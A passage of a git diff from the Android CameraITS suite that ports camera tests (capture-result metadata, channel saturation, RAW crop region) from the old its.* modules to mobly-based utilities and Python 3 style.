 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies valid data return from CaptureResult objects."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
 import matplotlib.pyplot
-import mpl_toolkits.mplot3d  # Required for 3d plot to work
-import numpy
+from mobly import test_runner
+# mplot3 is required for 3D plots in draw_lsc_plot() though not called directly.
+from mpl_toolkits import mplot3d  # pylint: disable=unused-import
+import numpy as np
 
+# required for 3D plots
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
 
-def main():
-    """Test that valid data comes back in CaptureResult objects.
-    """
-    global NAME, auto_req, manual_req, w_map, h_map
-    global manual_tonemap, manual_transform, manual_gains, manual_region
-    global manual_exp_time, manual_sensitivity, manual_gains_ok
-
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.manual_sensor(props) and
-                             its.caps.manual_post_proc(props) and
-                             its.caps.per_frame_control(props))
-
-        manual_tonemap = [0,0, 1,1]  # Linear
-        manual_transform = its.objects.float_to_rational(
-                [-1.5,-1.0,-0.5, 0.0,0.5,1.0, 1.5,2.0,3.0])
-        manual_gains = [1,1.5,2.0,3.0]
-        manual_region = [{"x":8,"y":8,"width":128,"height":128,"weight":1}]
-        manual_exp_time = min(props["android.sensor.info.exposureTimeRange"])
-        manual_sensitivity = min(props["android.sensor.info.sensitivityRange"])
-
-        # The camera HAL may not support different gains for two G channels.
-        manual_gains_ok = [[1,1.5,2.0,3.0],[1,1.5,1.5,3.0],[1,2.0,2.0,3.0]]
-
-        auto_req = its.objects.auto_capture_request()
-        auto_req["android.statistics.lensShadingMapMode"] = 1
-
-        manual_req = {
-                "android.control.mode": 0,
-                "android.control.aeMode": 0,
-                "android.control.awbMode": 0,
-                "android.control.afMode": 0,
-                "android.sensor.sensitivity": manual_sensitivity,
-                "android.sensor.exposureTime": manual_exp_time,
-                "android.colorCorrection.mode": 0,
-                "android.colorCorrection.transform": manual_transform,
-                "android.colorCorrection.gains": manual_gains,
-                "android.tonemap.mode": 0,
-                "android.tonemap.curve": {"red": manual_tonemap,
-                                          "green": manual_tonemap,
-                                          "blue": manual_tonemap},
-                "android.control.aeRegions": manual_region,
-                "android.control.afRegions": manual_region,
-                "android.control.awbRegions": manual_region,
-                "android.statistics.lensShadingMapMode": 1
-                }
-
-        sync_latency = its.caps.sync_latency(props)
-        print "Testing auto capture results"
-        lsc_map_auto = test_auto(cam, props, sync_latency)
-        print "Testing manual capture results"
-        test_manual(cam, lsc_map_auto, props, sync_latency)
-        print "Testing auto capture results again"
-        test_auto(cam, props, sync_latency)
-
-
-def is_close_float(n1, n2):
-    """A very loose definition for two floats being close to each other.
-
-    there may be different interpolation and rounding used to get the
-    two values, and all this test is looking at is whether there is
-    something obviously broken; it's not looking for a perfect match.
-
-    Args:
-        n1:     float 1
-        n2:     float 2
-    Returns:
-        Boolean
-    """
-    return abs(n1 - n2) < 0.05
+AWB_GAINS_NUM = 4
+AWB_XFORM_NUM = 9
+ISCLOSE_ATOL = 0.05  # not for absolute ==, but if something grossly wrong
+MANUAL_AWB_GAINS = [1, 1.5, 2.0, 3.0]
+MANUAL_AWB_XFORM = capture_request_utils.float_to_rational([-1.5, -1.0, -0.5,
+                                                            0.0, 0.5, 1.0,
+                                                            1.5, 2.0, 3.0])
+# The camera HAL may not support different gains for two G channels.
+MANUAL_GAINS_OK = [[1, 1.5, 2.0, 3.0],
+                   [1, 1.5, 1.5, 3.0],
+                   [1, 2.0, 2.0, 3.0]]
+MANUAL_TONEMAP = [0, 0, 1, 1]  # Linear tonemap
+MANUAL_REGION = [{'x': 8, 'y': 8, 'width': 128, 'height': 128, 'weight': 1}]
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 
 
 def is_close_rational(n1, n2):
-    return is_close_float(its.objects.rational_to_float(n1),
-                          its.objects.rational_to_float(n2))
+  return np.isclose(capture_request_utils.rational_to_float(n1),
+                    capture_request_utils.rational_to_float(n2),
+                    atol=ISCLOSE_ATOL)
 
 
-def draw_lsc_plot(w_map, h_map, lsc_map, name):
-    for ch in range(4):
-        fig = matplotlib.pyplot.figure()
-        ax = fig.gca(projection="3d")
-        xs = numpy.array([range(w_map)] * h_map).reshape(h_map, w_map)
-        ys = numpy.array([[i]*w_map for i in range(h_map)]).reshape(
-                h_map, w_map)
-        zs = numpy.array(lsc_map[ch::4]).reshape(h_map, w_map)
-        ax.plot_wireframe(xs, ys, zs)
-        matplotlib.pyplot.savefig("%s_plot_lsc_%s_ch%d.png"%(NAME, name, ch))
+def draw_lsc_plot(lsc_map_w, lsc_map_h, lsc_map, name, log_path):
+  for ch in range(4):
+    fig = matplotlib.pyplot.figure()
+    ax = fig.gca(projection='3d')
+    xs = np.array([range(lsc_map_w)] * lsc_map_h).reshape(lsc_map_h, lsc_map_w)
+    ys = np.array([[i]*lsc_map_w for i in range(lsc_map_h)]).reshape(
+        lsc_map_h, lsc_map_w)
+    zs = np.array(lsc_map[ch::4]).reshape(lsc_map_h, lsc_map_w)
+    ax.plot_wireframe(xs, ys, zs)
+    matplotlib.pyplot.savefig('%s_plot_lsc_%s_ch%d.png' % (
+        os.path.join(log_path, NAME), name, ch))
 
 
-def test_auto(cam, props, sync_latency):
-    # Get 3A lock first, so the auto values in the capture result are
-    # populated properly.
-    rect = [[0, 0, 1, 1, 1]]
-    mono_camera = its.caps.mono_camera(props)
-    cam.do_3a(rect, rect, rect, do_af=False, mono_camera=mono_camera)
+def metadata_checks(metadata, props):
+  """Common checks on AWB color correction matrix.
 
-    cap = its.device.do_capture_with_latency(cam, auto_req, sync_latency)
-    cap_res = cap["metadata"]
+  Args:
+    metadata: capture metadata
+    props: camera properties
+  """
+  awb_gains = metadata['android.colorCorrection.gains']
+  awb_xform = metadata['android.colorCorrection.transform']
+  logging.debug('AWB gains: %s', str(awb_gains))
+  logging.debug('AWB transform: %s', str(
+      [capture_request_utils.rational_to_float(t) for t in awb_xform]))
+  if props['android.control.maxRegionsAe'] > 0:
+    logging.debug('AE region: %s', str(metadata['android.control.aeRegions']))
+  if props['android.control.maxRegionsAf'] > 0:
+    logging.debug('AF region: %s', str(metadata['android.control.afRegions']))
+  if props['android.control.maxRegionsAwb'] > 0:
+    logging.debug('AWB region: %s', str(metadata['android.control.awbRegions']))
 
-    gains = cap_res["android.colorCorrection.gains"]
-    transform = cap_res["android.colorCorrection.transform"]
-    exp_time = cap_res["android.sensor.exposureTime"]
-    lsc_obj = cap_res["android.statistics.lensShadingCorrectionMap"]
-    lsc_map = lsc_obj["map"]
-    w_map = lsc_obj["width"]
-    h_map = lsc_obj["height"]
-    ctrl_mode = cap_res["android.control.mode"]
-
-    print "Control mode:", ctrl_mode
-    print "Gains:", gains
-    print "Transform:", [its.objects.rational_to_float(t)
-                         for t in transform]
-    if props["android.control.maxRegionsAe"] > 0:
-        print "AE region:", cap_res["android.control.aeRegions"]
-    if props["android.control.maxRegionsAf"] > 0:
-        print "AF region:", cap_res["android.control.afRegions"]
-    if props["android.control.maxRegionsAwb"] > 0:
-        print "AWB region:", cap_res["android.control.awbRegions"]
-    print "LSC map:", w_map, h_map, lsc_map[:8]
-
-    assert(ctrl_mode == 1)
-
-    # Color correction gain and transform must be valid.
-    assert(len(gains) == 4)
-    assert(len(transform) == 9)
-    assert(all([g > 0 for g in gains]))
-    assert(all([t["denominator"] != 0 for t in transform]))
-
-    # Color correction should not match the manual settings.
-    assert(any([not is_close_float(gains[i], manual_gains[i])
-                for i in xrange(4)]))
-    assert(any([not is_close_rational(transform[i], manual_transform[i])
-                for i in xrange(9)]))
-
-    # Exposure time must be valid.
-    assert(exp_time > 0)
-
-    # Lens shading map must be valid.
-    assert(w_map > 0 and h_map > 0 and w_map * h_map * 4 == len(lsc_map))
-    assert(all([m >= 1 for m in lsc_map]))
-
-    draw_lsc_plot(w_map, h_map, lsc_map, "auto")
-
-    return lsc_map
+  # Color correction gains and transform should be the same size
+  assert len(awb_gains) == AWB_GAINS_NUM
+  assert len(awb_xform) == AWB_XFORM_NUM
 
 
-def test_manual(cam, lsc_map_auto, props, sync_latency):
-    cap = its.device.do_capture_with_latency(cam, manual_req, sync_latency)
-    cap_res = cap["metadata"]
+def test_auto(cam, props, log_path):
+  """Do auto capture and test values.
 
-    gains = cap_res["android.colorCorrection.gains"]
-    transform = cap_res["android.colorCorrection.transform"]
-    curves = [cap_res["android.tonemap.curve"]["red"],
-              cap_res["android.tonemap.curve"]["green"],
-              cap_res["android.tonemap.curve"]["blue"]]
-    exp_time = cap_res["android.sensor.exposureTime"]
-    lsc_obj = cap_res["android.statistics.lensShadingCorrectionMap"]
-    lsc_map = lsc_obj["map"]
-    w_map = lsc_obj["width"]
-    h_map = lsc_obj["height"]
-    ctrl_mode = cap_res["android.control.mode"]
+  Args:
+    cam: camera object
+    props: camera properties
+    log_path: path for plot directory
+  """
+  logging.debug('Testing auto capture results')
+  req = capture_request_utils.auto_capture_request()
+  req['android.statistics.lensShadingMapMode'] = 1
+  sync_latency = camera_properties_utils.sync_latency(props)
 
-    print "Control mode:", ctrl_mode
-    print "Gains:", gains
-    print "Transform:", [its.objects.rational_to_float(t)
-                         for t in transform]
-    print "Tonemap:", curves[0][1::16]
-    if props["android.control.maxRegionsAe"] > 0:
-        print "AE region:", cap_res["android.control.aeRegions"]
-    if props["android.control.maxRegionsAf"] > 0:
-        print "AF region:", cap_res["android.control.afRegions"]
-    if props["android.control.maxRegionsAwb"] > 0:
-        print "AWB region:", cap_res["android.control.awbRegions"]
-    print "LSC map:", w_map, h_map, lsc_map[:8]
+  # Get 3A lock first, so auto values in capture result are populated properly.
+  mono_camera = camera_properties_utils.mono_camera(props)
+  cam.do_3a(do_af=False, mono_camera=mono_camera)
 
-    assert(ctrl_mode == 0)
+  # Do capture
+  cap = its_session_utils.do_capture_with_latency(cam, req, sync_latency)
+  metadata = cap['metadata']
 
-    # Color correction gain and transform must be valid.
-    # Color correction gains and transform should be the same size and
-    # values as the manually set values.
-    assert(len(gains) == 4)
-    assert(len(transform) == 9)
-    assert( all([is_close_float(gains[i], manual_gains_ok[0][i])
-                 for i in xrange(4)]) or
-            all([is_close_float(gains[i], manual_gains_ok[1][i])
-                 for i in xrange(4)]) or
-            all([is_close_float(gains[i], manual_gains_ok[2][i])
-                 for i in xrange(4)]))
-    assert(all([is_close_rational(transform[i], manual_transform[i])
-                for i in xrange(9)]))
+  ctrl_mode = metadata['android.control.mode']
+  logging.debug('Control mode: %d', ctrl_mode)
+  assert ctrl_mode == 1, 'ctrl_mode: %d' % ctrl_mode
 
-    # Tonemap must be valid.
-    # The returned tonemap must be linear.
-    for c in curves:
-        assert(len(c) > 0)
-        assert(all([is_close_float(c[i], c[i+1])
-                    for i in xrange(0,len(c),2)]))
+  # Color correction gain and transform must be valid.
+  metadata_checks(metadata, props)
+  awb_gains = metadata['android.colorCorrection.gains']
+  awb_xform = metadata['android.colorCorrection.transform']
+  assert all([g > 0 for g in awb_gains])
+  assert all([t['denominator'] != 0 for t in awb_xform])
 
-    # Exposure time must be close to the requested exposure time.
-    assert(is_close_float(exp_time/1000000.0, manual_exp_time/1000000.0))
+  # Color correction should not match the manual settings.
+  assert not np.allclose(awb_gains, MANUAL_AWB_GAINS, atol=ISCLOSE_ATOL)
+  assert not all([is_close_rational(awb_xform[i], MANUAL_AWB_XFORM[i])
+                  for i in range(AWB_XFORM_NUM)])
 
-    # Lens shading map must be valid.
-    assert(w_map > 0 and h_map > 0 and w_map * h_map * 4 == len(lsc_map))
-    assert(all([m >= 1 for m in lsc_map]))
+  # Exposure time must be valid.
+  exp_time = metadata['android.sensor.exposureTime']
+  assert exp_time > 0
 
-    draw_lsc_plot(w_map, h_map, lsc_map, "manual")
+  # Draw lens shading correction map
+  lsc_obj = metadata['android.statistics.lensShadingCorrectionMap']
+  lsc_map = lsc_obj['map']
+  lsc_map_w = lsc_obj['width']
+  lsc_map_h = lsc_obj['height']
+  logging.debug('LSC map: %dx%d, %s', lsc_map_w, lsc_map_h, str(lsc_map[:8]))
+  draw_lsc_plot(lsc_map_w, lsc_map_h, lsc_map, 'auto', log_path)
 
 
-if __name__ == "__main__":
-    main()
+def test_manual(cam, props, log_path):
+  """Do manual capture and test results.
+
+  Args:
+    cam: camera object
+    props: camera properties
+    log_path: path for plot directory
+  """
+  logging.debug('Testing manual capture results')
+  exp_min = min(props['android.sensor.info.exposureTimeRange'])
+  sens_min = min(props['android.sensor.info.sensitivityRange'])
+  sync_latency = camera_properties_utils.sync_latency(props)
+  req = {
+      'android.control.mode': 0,
+      'android.control.aeMode': 0,
+      'android.control.awbMode': 0,
+      'android.control.afMode': 0,
+      'android.sensor.sensitivity': sens_min,
+      'android.sensor.exposureTime': exp_min,
+      'android.colorCorrection.mode': 0,
+      'android.colorCorrection.transform': MANUAL_AWB_XFORM,
+      'android.colorCorrection.gains': MANUAL_AWB_GAINS,
+      'android.tonemap.mode': 0,
+      'android.tonemap.curve': {'red': MANUAL_TONEMAP,
+                                'green': MANUAL_TONEMAP,
+                                'blue': MANUAL_TONEMAP},
+      'android.control.aeRegions': MANUAL_REGION,
+      'android.control.afRegions': MANUAL_REGION,
+      'android.control.awbRegions': MANUAL_REGION,
+      'android.statistics.lensShadingMapMode': 1
+      }
+  cap = its_session_utils.do_capture_with_latency(cam, req, sync_latency)
+  metadata = cap['metadata']
+
+  ctrl_mode = metadata['android.control.mode']
+  logging.debug('Control mode: %d', ctrl_mode)
+  assert ctrl_mode == 0, 'ctrl_mode: %d' % ctrl_mode
+
+  # Color correction gains and transform should be the same size and
+  # values as the manually set values.
+  metadata_checks(metadata, props)
+  awb_gains = metadata['android.colorCorrection.gains']
+  awb_xform = metadata['android.colorCorrection.transform']
+  assert (all([np.isclose(awb_gains[i], MANUAL_GAINS_OK[0][i],
+                          atol=ISCLOSE_ATOL) for i in range(AWB_GAINS_NUM)]) or
+          all([np.isclose(awb_gains[i], MANUAL_GAINS_OK[1][i],
+                          atol=ISCLOSE_ATOL) for i in range(AWB_GAINS_NUM)]) or
+          all([np.isclose(awb_gains[i], MANUAL_GAINS_OK[2][i],
+                          atol=ISCLOSE_ATOL) for i in range(AWB_GAINS_NUM)]))
+  assert (all([is_close_rational(awb_xform[i], MANUAL_AWB_XFORM[i])
+               for i in range(AWB_XFORM_NUM)]))
+
+  # The returned tonemap must be linear.
+  curves = [metadata['android.tonemap.curve']['red'],
+            metadata['android.tonemap.curve']['green'],
+            metadata['android.tonemap.curve']['blue']]
+  logging.debug('Tonemap: %s', str(curves[0][1::16]))
+  for c in curves:
+    assert c, 'c in curves is empty.'
+    assert all([np.isclose(c[i], c[i+1], atol=ISCLOSE_ATOL)
+                for i in range(0, len(c), 2)])
+
+  # Exposure time must be close to the requested exposure time.
+  exp_time = metadata['android.sensor.exposureTime']
+  assert np.isclose(exp_time*1.0E-6, exp_min*1.0E-6, atol=ISCLOSE_ATOL)
+
+  # Lens shading map must be valid
+  lsc_obj = metadata['android.statistics.lensShadingCorrectionMap']
+  lsc_map = lsc_obj['map']
+  lsc_map_w = lsc_obj['width']
+  lsc_map_h = lsc_obj['height']
+  logging.debug('LSC map: %dx%d, %s', lsc_map_w, lsc_map_h, str(lsc_map[:8]))
+  assert (lsc_map_w > 0 and lsc_map_h > 0 and
+          lsc_map_w*lsc_map_h*4 == len(lsc_map))
+  assert all([m >= 1 for m in lsc_map])
+
+  # Draw lens shading correction map
+  draw_lsc_plot(lsc_map_w, lsc_map_h, lsc_map, 'manual', log_path)
+
+
+class CaptureResult(its_base_test.ItsBaseTest):
+  """Test that valid data comes back in CaptureResult objects."""
+
+  def test_capture_result(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.manual_post_proc(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Run tests. Run auto, then manual, then auto. Check correct metadata
+      # values and ensure manual settings do not leak into auto captures.
+      test_auto(cam, props, self.log_path)
+      test_manual(cam, props, self.log_path)
+      test_auto(cam, props, self.log_path)
+
+
+if __name__ == '__main__':
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_channel_saturation.py b/apps/CameraITS/tests/scene1_1/test_channel_saturation.py
deleted file mode 100644
index 7d23c04..0000000
--- a/apps/CameraITS/tests/scene1_1/test_channel_saturation.py
+++ /dev/null
@@ -1,77 +0,0 @@
-# Copyright 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import numpy as np
-
-NAME = os.path.basename(__file__).split('.')[0]
-RGB_FULL_SCALE = 255.0
-RGB_SAT_MIN = 253.0
-RGB_SAT_TOL = 1.0
-
-
-def main():
-    """Test that channels saturate evenly."""
-
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.manual_sensor(props))
-        sync_latency = its.caps.sync_latency(props)
-
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
-
-        exp = props['android.sensor.info.exposureTimeRange'][1]
-        iso = props['android.sensor.info.sensitivityRange'][1]
-
-        # Take shot with very high ISO and exposure time. Expect saturation
-        req = its.objects.manual_capture_request(iso, exp)
-        cap = its.device.do_capture_with_latency(cam, req, sync_latency, fmt)
-        img = its.image.convert_capture_to_rgb_image(cap)
-        its.image.write_image(img, '%s.jpg' % NAME)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        white_means = its.image.compute_image_means(tile)
-        r = white_means[0] * RGB_FULL_SCALE
-        g = white_means[1] * RGB_FULL_SCALE
-        b = white_means[2] * RGB_FULL_SCALE
-        print ' Saturated pixels r, g, b:', white_means
-        r_exp = cap['metadata']['android.sensor.exposureTime']
-        r_iso = cap['metadata']['android.sensor.sensitivity']
-        print ' Saturated shot write values: iso = %d, exp = %.2fms' % (
-                iso, exp/1000000.0)
-        print ' Saturated shot read values: iso = %d, exp = %.2fms\n' % (
-                r_iso, r_exp/1000000.0)
-
-        # assert saturation
-        assert min(r, g, b) > RGB_SAT_MIN, (
-                'r: %.1f, g: %.1f, b: %.1f, MIN: %.f' % (r, g, b, RGB_SAT_MIN))
-        # assert channels saturate evenly
-        assert np.isclose(min(r, g, b), max(r, g, b), atol=RGB_SAT_TOL), (
-                'ch_sat not EQ!  r: %.1f, g: %.1f, b: %.1f, TOL: %.f' % (
-                        r, g, b, RGB_SAT_TOL))
-
-
-if __name__ == '__main__':
-    main()
-
diff --git a/apps/CameraITS/tests/scene1_1/test_crop_region_raw.py b/apps/CameraITS/tests/scene1_1/test_crop_region_raw.py
index 26cdc74..69cc33f 100644
--- a/apps/CameraITS/tests/scene1_1/test_crop_region_raw.py
+++ b/apps/CameraITS/tests/scene1_1/test_crop_region_raw.py
@@ -11,141 +11,178 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies RAW streams are not croppable."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-import numpy
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
 
 CROP_FULL_ERROR_THRESHOLD = 3  # pixels
 CROP_REGION_ERROR_THRESHOLD = 0.01  # reltol
 DIFF_THRESH = 0.05  # reltol
-NAME = os.path.basename(__file__).split(".")[0]
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 
 
-def main():
-    """Test that raw streams are not croppable."""
+class CropRegionRawTest(its_base_test.ItsBaseTest):
+  """Test that RAW streams are not croppable."""
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.raw16(props) and
-                             its.caps.per_frame_control(props) and
-                             not its.caps.mono_camera(props))
+  def test_crop_region_raw(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        # Calculate the active sensor region for a full (non-cropped) image.
-        a = props["android.sensor.info.activeArraySize"]
-        ax, ay = a["left"], a["top"]
-        aw, ah = a["right"] - a["left"], a["bottom"] - a["top"]
-        print "Active sensor region: (%d,%d %dx%d)" % (ax, ay, aw, ah)
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
 
-        full_region = {
-            "left": 0,
-            "top": 0,
-            "right": aw,
-            "bottom": ah
-        }
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # Calculate a center crop region.
-        zoom = min(3.0, its.objects.get_max_digital_zoom(props))
-        assert(zoom >= 1)
-        cropw = aw / zoom
-        croph = ah / zoom
+      # Calculate the active sensor region for a full (non-cropped) image.
+      a = props['android.sensor.info.activeArraySize']
+      ax, ay = a['left'], a['top']
+      aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+      logging.debug('Active sensor region: (%d,%d %dx%d)', ax, ay, aw, ah)
 
-        crop_region = {
-            "left": aw / 2 - cropw / 2,
-            "top": ah / 2 - croph / 2,
-            "right": aw / 2 + cropw / 2,
-            "bottom": ah / 2 + croph / 2
-        }
+      full_region = {
+          'left': 0,
+          'top': 0,
+          'right': aw,
+          'bottom': ah
+      }
 
-        # Capture without a crop region.
-        # Use a manual request with a linear tonemap so that the YUV and RAW
-        # should look the same (once converted by the its.image module).
-        e, s = its.target.get_target_exposure_combos(cam)["minSensitivity"]
-        req = its.objects.manual_capture_request(s,e, 0.0, True, props)
-        cap1_raw, cap1_yuv = cam.do_capture(req, cam.CAP_RAW_YUV)
+      # Calculate a center crop region.
+      zoom = min(3.0, camera_properties_utils.get_max_digital_zoom(props))
+      assert zoom >= 1, 'zoom: %.2f' % zoom
+      crop_w = aw // zoom
+      crop_h = ah // zoom
 
-        # Capture with a crop region.
-        req["android.scaler.cropRegion"] = crop_region
-        cap2_raw, cap2_yuv = cam.do_capture(req, cam.CAP_RAW_YUV)
+      crop_region = {
+          'left': aw // 2 - crop_w // 2,
+          'top': ah // 2 - crop_h // 2,
+          'right': aw // 2 + crop_w // 2,
+          'bottom': ah // 2 + crop_h // 2
+      }
 
-        # Check the metadata related to crop regions.
-        # When both YUV and RAW are requested, the crop region that's
-        # applied to YUV should be reported.
-        # Note that the crop region returned by the cropped captures doesn't
-        # need to perfectly match the one that was requested.
-        imgs = {}
-        for s, cap, cr_expected, err_delta in [
-                ("yuv_full", cap1_yuv, full_region, CROP_FULL_ERROR_THRESHOLD),
-                ("raw_full", cap1_raw, full_region, CROP_FULL_ERROR_THRESHOLD),
-                ("yuv_crop", cap2_yuv, crop_region, CROP_REGION_ERROR_THRESHOLD),
-                ("raw_crop", cap2_raw, crop_region, CROP_REGION_ERROR_THRESHOLD)]:
+      # Capture without a crop region.
+      # Use a manual request with a linear tonemap so that the YUV and RAW
+      # should look the same (once converted by image_processing_utils).
+      e, s = target_exposure_utils.get_target_exposure_combos(log_path, cam)[
+          'minSensitivity']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+      cap1_raw, cap1_yuv = cam.do_capture(req, cam.CAP_RAW_YUV)
 
-            # Convert the capture to RGB and dump to a file.
-            img = its.image.convert_capture_to_rgb_image(cap, props=props)
-            its.image.write_image(img, "%s_%s.jpg" % (NAME, s))
-            imgs[s] = img
+      # Capture with a crop region.
+      req['android.scaler.cropRegion'] = crop_region
+      cap2_raw, cap2_yuv = cam.do_capture(req, cam.CAP_RAW_YUV)
 
-            # Get the crop region that is reported in the capture result.
-            cr_reported = cap["metadata"]["android.scaler.cropRegion"]
-            x, y = cr_reported["left"], cr_reported["top"]
-            w = cr_reported["right"] - cr_reported["left"]
-            h = cr_reported["bottom"] - cr_reported["top"]
-            print "Crop reported on %s: (%d,%d %dx%d)" % (s, x, y, w, h)
+      # Check the metadata related to crop regions.
+      # When both YUV and RAW are requested, the crop region that's
+      # applied to YUV should be reported.
+      # Note that the crop region returned by the cropped captures doesn't
+      # need to perfectly match the one that was requested.
+      imgs = {}
+      for s, cap, cr_expected, err_delta in [
+          ('yuv_full', cap1_yuv, full_region, CROP_FULL_ERROR_THRESHOLD),
+          ('raw_full', cap1_raw, full_region, CROP_FULL_ERROR_THRESHOLD),
+          ('yuv_crop', cap2_yuv, crop_region, CROP_REGION_ERROR_THRESHOLD),
+          ('raw_crop', cap2_raw, crop_region, CROP_REGION_ERROR_THRESHOLD)]:
 
-            # Test that the reported crop region is the same as the expected
-            # one, for a non-cropped capture, and is close to the expected one,
-            # for a cropped capture.
-            ex = aw * err_delta
-            ey = ah * err_delta
-            assert ((abs(cr_expected["left"] - cr_reported["left"]) <= ex) and
-                    (abs(cr_expected["right"] - cr_reported["right"]) <= ex) and
-                    (abs(cr_expected["top"] - cr_reported["top"]) <= ey) and
-                    (abs(cr_expected["bottom"] - cr_reported["bottom"]) <= ey))
+        # Convert the capture to RGB and dump to a file.
+        img = image_processing_utils.convert_capture_to_rgb_image(cap,
+                                                                  props=props)
+        image_processing_utils.write_image(
+            img, '%s_%s.jpg' % (os.path.join(log_path, NAME), s))
+        imgs[s] = img
 
-        # Also check the image content; 3 of the 4 shots should match.
-        # Note that all the shots are RGB below; the variable names correspond
-        # to what was captured.
+        # Get the crop region that is reported in the capture result.
+        cr_reported = cap['metadata']['android.scaler.cropRegion']
+        x, y = cr_reported['left'], cr_reported['top']
+        w = cr_reported['right'] - cr_reported['left']
+        h = cr_reported['bottom'] - cr_reported['top']
+        logging.debug('Crop reported on %s: (%d,%d %dx%d)', s, x, y, w, h)
 
-        # Shrink the YUV images 2x2 -> 1 to account for the size reduction that
-        # the raw images went through in the RGB conversion.
-        imgs2 = {}
-        for s,img in imgs.iteritems():
-            h,w,ch = img.shape
-            if s in ["yuv_full", "yuv_crop"]:
-                img = img.reshape(h/2,2,w/2,2,3).mean(3).mean(1)
-                img = img.reshape(h/2,w/2,3)
-            imgs2[s] = img
+        # Test that the reported crop region is the same as the expected
+        # one, for a non-cropped capture, and is close to the expected one,
+        # for a cropped capture.
+        ex = CROP_FULL_ERROR_THRESHOLD
+        ey = CROP_FULL_ERROR_THRESHOLD
+        if np.isclose(err_delta, CROP_REGION_ERROR_THRESHOLD, rtol=0.01):
+          ex = aw * err_delta
+          ey = ah * err_delta
+        logging.debug('error X, Y: %.2f, %.2f', ex, ey)
+        e_msg = 'expected: %s, reported: %s, ex: %.2f, ex: %.2f' % (
+            str(cr_expected), str(cr_reported), ex, ey)
+        assert (
+            (abs(cr_expected['left'] - cr_reported['left']) <= ex) and
+            (abs(cr_expected['right'] - cr_reported['right']) <= ex) and
+            (abs(cr_expected['top'] - cr_reported['top']) <= ey) and
+            (abs(cr_expected['bottom'] - cr_reported['bottom']) <= ey)), e_msg
 
-        # Strip any border pixels from the raw shots (since the raw images may
-        # be larger than the YUV images). Assume a symmetric padded border.
-        xpad = (imgs2["raw_full"].shape[1] - imgs2["yuv_full"].shape[1]) / 2
-        ypad = (imgs2["raw_full"].shape[0] - imgs2["yuv_full"].shape[0]) / 2
-        wyuv = imgs2["yuv_full"].shape[1]
-        hyuv = imgs2["yuv_full"].shape[0]
-        imgs2["raw_full"]=imgs2["raw_full"][ypad:ypad+hyuv:,xpad:xpad+wyuv:,::]
-        imgs2["raw_crop"]=imgs2["raw_crop"][ypad:ypad+hyuv:,xpad:xpad+wyuv:,::]
-        print "Stripping padding before comparison:", xpad, ypad
+      # Also check the image content; 3 of the 4 shots should match.
+      # Note that all the shots are RGB below; the variable names correspond
+      # to what was captured.
 
-        for s,img in imgs2.iteritems():
-            its.image.write_image(img, "%s_comp_%s.jpg" % (NAME, s))
+      # Shrink the YUV images 2x2 -> 1 to account for the size reduction that
+      # the raw images went through in the RGB conversion.
+      imgs2 = {}
+      for s, img in imgs.items():
+        h, w, _ = img.shape
+        if s in ['yuv_full', 'yuv_crop']:
+          img = img.reshape(h//2, 2, w//2, 2, 3).mean(3).mean(1)
+          img = img.reshape(h//2, w//2, 3)
+        imgs2[s] = img
 
-        # Compute diffs between images of the same type.
-        # The raw_crop and raw_full shots should be identical (since the crop
-        # doesn't apply to raw images), and the yuv_crop and yuv_full shots
-        # should be different.
-        diff_yuv = numpy.fabs((imgs2["yuv_full"] - imgs2["yuv_crop"])).mean()
